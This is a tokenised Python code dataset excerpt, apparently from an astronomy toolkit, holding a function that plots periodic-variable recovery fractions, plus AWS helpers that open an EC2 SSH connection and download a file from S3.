plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>for magcol in magcols:<EOL><INDENT>thismagcol_recfracs = []<EOL>for amplitudebin_pv, amplitudebin_rv in zip(<EOL>amplitudebinned_periodicvars,<EOL>amplitudebinned_recovered_objects<EOL>):<EOL><INDENT>thisbin_thismagcol_recvars = [<EOL>x for x in amplitudebin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == magcol)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thismagcol_recvars).size /<EOL>amplitudebin_pv.size<EOL>)<EOL>thismagcol_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes,<EOL>np.array(thismagcol_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT>' % magcol,<EOL>ms=<NUM_LIT:0.0>)<EOL>amplitudebinned_per_magcol_recfracs.append(<EOL>np.array(thismagcol_recfracs)<EOL>)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes, amplitudebinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_pfmethods = np.unique(<EOL>np.concatenate(<EOL>[np.unique(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>']]<EOL>)<EOL>)<EOL>for pfm in all_pfmethods:<EOL><INDENT>thispf_recfracs = []<EOL>for amplitudebin_pv, amplitudebin_rv in zip(<EOL>amplitudebinned_periodicvars,<EOL>amplitudebinned_recovered_objects<EOL>):<EOL><INDENT>thisbin_thispf_recvars = [<EOL>x for x in amplitudebin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == pfm)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thispf_recvars).size /<EOL>amplitudebin_pv.size<EOL>)<EOL>thispf_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes,<EOL>np.array(thispf_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % pfm.upper(),<EOL>ms=<NUM_LIT:0.0>)<EOL>amplitudebinned_per_pfmethod_recfracs.append(<EOL>np.array(thispf_recfracs)<EOL>)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes, amplitudebinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_vartypes = np.unique(<EOL>[(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] is not None)]<EOL>)<EOL>for vt in all_vartypes:<EOL><INDENT>thisvt_recfracs = []<EOL>for amplitudebin_pv, amplitudebin_rv in zip(<EOL>amplitudebinned_periodicvars,<EOL>amplitudebinned_recovered_objects<EOL>):<EOL><INDENT>thisbin_thisvt_recvars = [<EOL>x for x in amplitudebin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == vt)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisvt_recvars).size /<EOL>amplitudebin_pv.size<EOL>)<EOL>thisvt_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes,<EOL>np.array(thisvt_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % vt,<EOL>ms=<NUM_LIT:0.0>)<EOL>amplitudebinned_per_vartype_recfracs.append(<EOL>np.array(thisvt_recfracs)<EOL>)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes, amplitudebinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_aliastypes = recovered_status<EOL>for at in all_aliastypes:<EOL><INDENT>thisat_recfracs = []<EOL>for amplitudebin_pv, amplitudebin_rv in zip(<EOL>amplitudebinned_periodicvars,<EOL>amplitudebinned_recovered_objects<EOL>):<EOL><INDENT>thisbin_thisat_recvars = [<EOL>x for x in amplitudebin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'][<NUM_LIT:0>] == at)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisat_recvars).size /<EOL>amplitudebin_pv.size<EOL>)<EOL>thisat_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes,<EOL>np.array(thisat_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % at,<EOL>ms=<NUM_LIT:0.0>)<EOL>amplitudebinned_per_aliastype_recfracs.append(<EOL>np.array(thisat_recfracs)<EOL>)<EOL><DEDENT>plt.plot(amplitudebinned_amplitudes, amplitudebinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>plt.plot(ndetbinned_ndets, ndetbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>for magcol in magcols:<EOL><INDENT>thismagcol_recfracs = []<EOL>for ndetbin_pv, ndetbin_rv in zip(ndetbinned_periodicvars,<EOL>ndetbinned_recovered_objects):<EOL><INDENT>thisbin_thismagcol_recvars = [<EOL>x for x in ndetbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == magcol)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thismagcol_recvars).size /<EOL>ndetbin_pv.size<EOL>)<EOL>thismagcol_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(ndetbinned_ndets,<EOL>np.array(thismagcol_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT>' % magcol,<EOL>ms=<NUM_LIT:0.0>)<EOL>ndetbinned_per_magcol_recfracs.append(<EOL>np.array(thismagcol_recfracs)<EOL>)<EOL><DEDENT>plt.plot(ndetbinned_ndets, ndetbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_pfmethods = np.unique(<EOL>np.concatenate(<EOL>[np.unique(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>']]<EOL>)<EOL>)<EOL>for pfm in all_pfmethods:<EOL><INDENT>thispf_recfracs = []<EOL>for ndetbin_pv, ndetbin_rv in zip(ndetbinned_periodicvars,<EOL>ndetbinned_recovered_objects):<EOL><INDENT>thisbin_thispf_recvars = [<EOL>x for x in ndetbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == pfm)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thispf_recvars).size /<EOL>ndetbin_pv.size<EOL>)<EOL>thispf_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(ndetbinned_ndets,<EOL>np.array(thispf_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % pfm.upper(),<EOL>ms=<NUM_LIT:0.0>)<EOL>ndetbinned_per_pfmethod_recfracs.append(<EOL>np.array(thispf_recfracs)<EOL>)<EOL><DEDENT>plt.plot(ndetbinned_ndets, ndetbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_vartypes = np.unique(<EOL>[(precvar['<STR_LIT>'][x]['<STR_LIT>'])<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] in PERIODIC_VARTYPES)]<EOL>)<EOL>for vt in all_vartypes:<EOL><INDENT>thisvt_recfracs = []<EOL>for ndetbin_pv, ndetbin_rv in zip(ndetbinned_periodicvars,<EOL>ndetbinned_recovered_objects):<EOL><INDENT>thisbin_thisvt_recvars = [<EOL>x for x in ndetbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'] == vt)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisvt_recvars).size /<EOL>ndetbin_pv.size<EOL>)<EOL>thisvt_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(ndetbinned_ndets,<EOL>np.array(thisvt_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % vt,<EOL>ms=<NUM_LIT:0.0>)<EOL>ndetbinned_per_vartype_recfracs.append(<EOL>np.array(thisvt_recfracs)<EOL>)<EOL><DEDENT>plt.plot(ndetbinned_ndets, ndetbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>all_aliastypes = recovered_status<EOL>for at in all_aliastypes:<EOL><INDENT>thisat_recfracs = []<EOL>for ndetbin_pv, ndetbin_rv in zip(ndetbinned_periodicvars,<EOL>ndetbinned_recovered_objects):<EOL><INDENT>thisbin_thisat_recvars = [<EOL>x for x in ndetbin_rv<EOL>if (precvar['<STR_LIT>'][x]['<STR_LIT>'][<NUM_LIT:0>] == at)<EOL>]<EOL>thisbin_thismagcol_recfrac = (<EOL>np.array(thisbin_thisat_recvars).size /<EOL>ndetbin_pv.size<EOL>)<EOL>thisat_recfracs.append(thisbin_thismagcol_recfrac)<EOL><DEDENT>plt.plot(ndetbinned_ndets,<EOL>np.array(thisat_recfracs),<EOL>marker='<STR_LIT:.>',<EOL>label='<STR_LIT:%s>' % at,<EOL>ms=<NUM_LIT:0.0>)<EOL>ndetbinned_per_aliastype_recfracs.append(<EOL>np.array(thisat_recfracs)<EOL>)<EOL><DEDENT>plt.plot(ndetbinned_ndets, ndetbinned_recfrac,<EOL>marker='<STR_LIT:.>',ms=<NUM_LIT:0.0>, label='<STR_LIT>', color='<STR_LIT:k>')<EOL>plt.xlabel(r'<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.ylim((<NUM_LIT:0>,<NUM_LIT:1>))<EOL>plt.legend(markerscale=<NUM_LIT>)<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>outdict['<STR_LIT>'] = (<EOL>magbinned_per_magcol_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>magbinned_per_pfmethod_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>magbinned_per_vartype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>magbinned_per_aliastype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>periodbinned_per_magcol_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>periodbinned_per_pfmethod_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>periodbinned_per_vartype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>periodbinned_per_aliastype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>amplitudebinned_per_magcol_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>amplitudebinned_per_pfmethod_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>amplitudebinned_per_vartype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>amplitudebinned_per_aliastype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>ndetbinned_per_magcol_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>ndetbinned_per_pfmethod_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>ndetbinned_per_vartype_recfracs<EOL>)<EOL>outdict['<STR_LIT>'] = (<EOL>ndetbinned_per_aliastype_recfracs<EOL>)<EOL>overall_recvars_per_pfmethod = []<EOL>for pfm in all_pfmethods:<EOL><INDENT>thispfm_recvars = np.array([<EOL>x for x in precvar['<STR_LIT>'] if<EOL>((x in recovered_periodicvars) and<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] == pfm))<EOL>])<EOL>overall_recvars_per_pfmethod.append(thispfm_recvars)<EOL><DEDENT>overall_recvars_per_vartype = []<EOL>for vt in all_vartypes:<EOL><INDENT>thisvt_recvars = np.array([<EOL>x for x in precvar['<STR_LIT>'] if<EOL>((x in recovered_periodicvars) and<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] == vt))<EOL>])<EOL>overall_recvars_per_vartype.append(thisvt_recvars)<EOL><DEDENT>overall_recvars_per_magcol = []<EOL>for mc in magcols:<EOL><INDENT>thismc_recvars = np.array([<EOL>x for x in precvar['<STR_LIT>'] if<EOL>((x in recovered_periodicvars) and<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] == mc))<EOL>])<EOL>overall_recvars_per_magcol.append(thismc_recvars)<EOL><DEDENT>overall_recvars_per_aliastype = []<EOL>for at in all_aliastypes:<EOL><INDENT>thisat_recvars = np.array([<EOL>x for x in precvar['<STR_LIT>'] if<EOL>((x in recovered_periodicvars) and<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] == at))<EOL>])<EOL>overall_recvars_per_aliastype.append(thisat_recvars)<EOL><DEDENT>outdict['<STR_LIT>'] = np.array([<EOL>x.size/actual_periodicvars.size for x in overall_recvars_per_pfmethod<EOL>])<EOL>outdict['<STR_LIT>'] = np.array([<EOL>x.size/actual_periodicvars.size for x in overall_recvars_per_vartype<EOL>])<EOL>outdict['<STR_LIT>'] = np.array([<EOL>x.size/actual_periodicvars.size for x in overall_recvars_per_magcol<EOL>])<EOL>outdict['<STR_LIT>'] = np.array([<EOL>x.size/actual_periodicvars.size for x in overall_recvars_per_aliastype<EOL>])<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>xt = np.arange(len(all_pfmethods))<EOL>xl = all_pfmethods<EOL>plt.barh(xt, outdict['<STR_LIT>'], <NUM_LIT>)<EOL>plt.yticks(xt, xl)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>xt = np.arange(len(magcols))<EOL>xl = magcols<EOL>plt.barh(xt, outdict['<STR_LIT>'], <NUM_LIT>)<EOL>plt.yticks(xt, xl)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>xt = np.arange(len(all_aliastypes))<EOL>xl = all_aliastypes<EOL>plt.barh(xt, outdict['<STR_LIT>'], <NUM_LIT>)<EOL>plt.yticks(xt, xl)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>xt = np.arange(len(all_vartypes))<EOL>xl = all_vartypes<EOL>plt.barh(xt, outdict['<STR_LIT>'], <NUM_LIT>)<EOL>plt.yticks(xt, xl)<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>notvariable_recovered_periods = np.concatenate([<EOL>precvar['<STR_LIT>'][x]['<STR_LIT>']<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] is None)<EOL>])<EOL>notvariable_recovered_lspvals = np.concatenate([<EOL>precvar['<STR_LIT>'][x]['<STR_LIT>']<EOL>for x in precvar['<STR_LIT>'] if<EOL>(precvar['<STR_LIT>'][x]['<STR_LIT>'] is None)<EOL>])<EOL>sortind = np.argsort(notvariable_recovered_periods)<EOL>notvariable_recovered_periods = notvariable_recovered_periods[sortind]<EOL>notvariable_recovered_lspvals = notvariable_recovered_lspvals[sortind]<EOL>outdict['<STR_LIT>'] = notvariable_recovered_periods<EOL>outdict['<STR_LIT>'] = notvariable_recovered_lspvals<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>plt.plot(notvariable_recovered_periods,<EOL>notvariable_recovered_lspvals,<EOL>ms=<NUM_LIT:1.0>,linestyle='<STR_LIT:none>',marker='<STR_LIT:.>')<EOL>plt.xscale('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>fig = plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>*<NUM_LIT>))<EOL>plt.hist(notvariable_recovered_periods,bins=np.arange(<NUM_LIT>,<NUM_LIT>,<NUM_LIT>),<EOL>histtype='<STR_LIT>')<EOL>plt.xscale('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig(<EOL>os.path.join(recplotdir,<EOL>'<STR_LIT>' % plotfile_ext),<EOL>dpi=<NUM_LIT:100>,<EOL>bbox_inches='<STR_LIT>'<EOL>)<EOL>plt.close('<STR_LIT:all>')<EOL>outfile = os.path.join(simbasedir, '<STR_LIT>')<EOL>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(outdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outdict<EOL>", "docstring": "This plots the results of periodic var recovery.\n\n    This function makes plots for periodicvar recovered fraction as a function\n    of:\n\n    - magbin\n    - periodbin\n    - amplitude of variability\n    - ndet\n\n    with plot lines broken down by:\n\n    - magcol\n    - periodfinder\n    - vartype\n    - recovery status\n\n    The kwargs `magbins`, `periodbins`, `amplitudebins`, and `ndetbins` can be\n    used to set the bin lists as needed. The kwarg `minbinsize` controls how\n    many elements per bin are required to accept a bin in processing its\n    recovery characteristics for mags, periods, amplitudes, and ndets.\n\n    Parameters\n    ----------\n\n    precvar_results : dict or str\n        This is either a dict returned by parallel_periodicvar_recovery or the\n        pickle created by that function.\n\n    aliases_count_as_recovered : list of str or 'all'\n        This is used to set which kinds of aliases this function considers as\n        'recovered' objects. Normally, we require that recovered objects have a\n        recovery status of 'actual' to indicate the actual period was\n        recovered. To change this default behavior, aliases_count_as_recovered\n        can be set to a list of alias status strings that should be considered\n        as 'recovered' objects as well. Choose from the following alias types::\n\n          'twice'                    recovered_p = 2.0*actual_p\n          'half'                     recovered_p = 0.5*actual_p\n          'ratio_over_1plus'         recovered_p = actual_p/(1.0+actual_p)\n          'ratio_over_1minus'        recovered_p = actual_p/(1.0-actual_p)\n          'ratio_over_1plus_twice'   recovered_p = actual_p/(1.0+2.0*actual_p)\n          'ratio_over_1minus_twice'  recovered_p = actual_p/(1.0-2.0*actual_p)\n          'ratio_over_1plus_thrice'  recovered_p = actual_p/(1.0+3.0*actual_p)\n          'ratio_over_1minus_thrice' recovered_p = actual_p/(1.0-3.0*actual_p)\n          'ratio_over_minus1'        recovered_p = actual_p/(actual_p - 1.0)\n          'ratio_over_twice_minus1'  recovered_p = actual_p/(2.0*actual_p - 1.0)\n\n        or set `aliases_count_as_recovered='all'` to include all of the above in\n        the 'recovered' periodic var list.\n\n    magbins : np.array\n        The magnitude bins to plot the recovery rate results over. If None, the\n        default mag bins will be used: `np.arange(8.0,16.25,0.25)`.\n\n    periodbins : np.array\n        The period bins to plot the recovery rate results over. If None, the\n        default period bins will be used: `np.arange(0.0,500.0,0.5)`.\n\n    amplitudebins : np.array\n        The variability amplitude bins to plot the recovery rate results\n        over. If None, the default amplitude bins will be used:\n        `np.arange(0.0,2.0,0.05)`.\n\n    ndetbins : np.array\n        The ndet bins to plot the recovery rate results over. If None, the\n        default ndet bins will be used: `np.arange(0.0,60000.0,1000.0)`.\n\n    minbinsize : int\n        The minimum number of objects per bin required to plot a bin and its\n        recovery fraction on the plot.\n\n    plotfile_ext : {'png','pdf'}\n        Sets the plot output files' extension.\n\n    Returns\n    -------\n\n    dict\n        A dict containing recovery fraction statistics and the paths to each of\n        the plots made.", "id": "f14692:m15"}
{"signature": "def ec2_ssh(ip_address,<EOL>keypem_file,<EOL>username='<STR_LIT>',<EOL>raiseonfail=False):", "body": "c = paramiko.client.SSHClient()<EOL>c.load_system_host_keys()<EOL>c.set_missing_host_key_policy(paramiko.client.AutoAddPolicy)<EOL>privatekey = paramiko.RSAKey.from_private_key_file(keypem_file)<EOL>try:<EOL><INDENT>c.connect(ip_address,<EOL>pkey=privatekey,<EOL>username='<STR_LIT>')<EOL>return c<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(ip_address, keypem_file, username))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This opens an SSH connection to the EC2 instance at `ip_address`.\n\n    Parameters\n    ----------\n\n    ip_address : str\n        IP address of the AWS EC2 instance to connect to.\n\n    keypem_file : str\n        The path to the keypair PEM file generated by AWS to allow SSH\n        connections.\n\n    username : str\n        The username to use to login to the EC2 instance.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    paramiko.SSHClient\n        This has all the usual `paramiko` functionality:\n\n        - Use `SSHClient.exec_command(command, environment=None)` to exec a\n          shell command.\n\n        - Use `SSHClient.open_sftp()` to get a `SFTPClient` for the server. Then\n          call SFTPClient.get() and .put() to copy files from and to the server.", "id": "f14694:m0"}
{"signature": "def s3_get_file(bucket,<EOL>filename,<EOL>local_file,<EOL>altexts=None,<EOL>client=None,<EOL>raiseonfail=False):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>client.download_file(bucket, filename, local_file)<EOL>return local_file<EOL><DEDENT>except Exception as e:<EOL><INDENT>if altexts is not None:<EOL><INDENT>for alt_extension in altexts:<EOL><INDENT>split_ext = os.path.splitext(filename)<EOL>check_file = split_ext[<NUM_LIT:0>] + alt_extension<EOL>try:<EOL><INDENT>client.download_file(<EOL>bucket,<EOL>check_file,<EOL>local_file.replace(split_ext[-<NUM_LIT:1>],<EOL>alt_extension)<EOL>)<EOL>return local_file.replace(split_ext[-<NUM_LIT:1>],<EOL>alt_extension)<EOL><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (bucket, filename))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "This gets a file from an S3 bucket.\n\n    Parameters\n    ----------\n\n    bucket : str\n        The AWS S3 bucket name.\n\n    filename : str\n        The full filename of the file to get from the bucket\n\n    local_file : str\n        Path to where the downloaded file will be stored.\n\n    altexts : None or list of str\n        If not None, this is a list of alternate extensions to try for the file\n        other than the one provided in `filename`. For example, to get anything\n        that's an 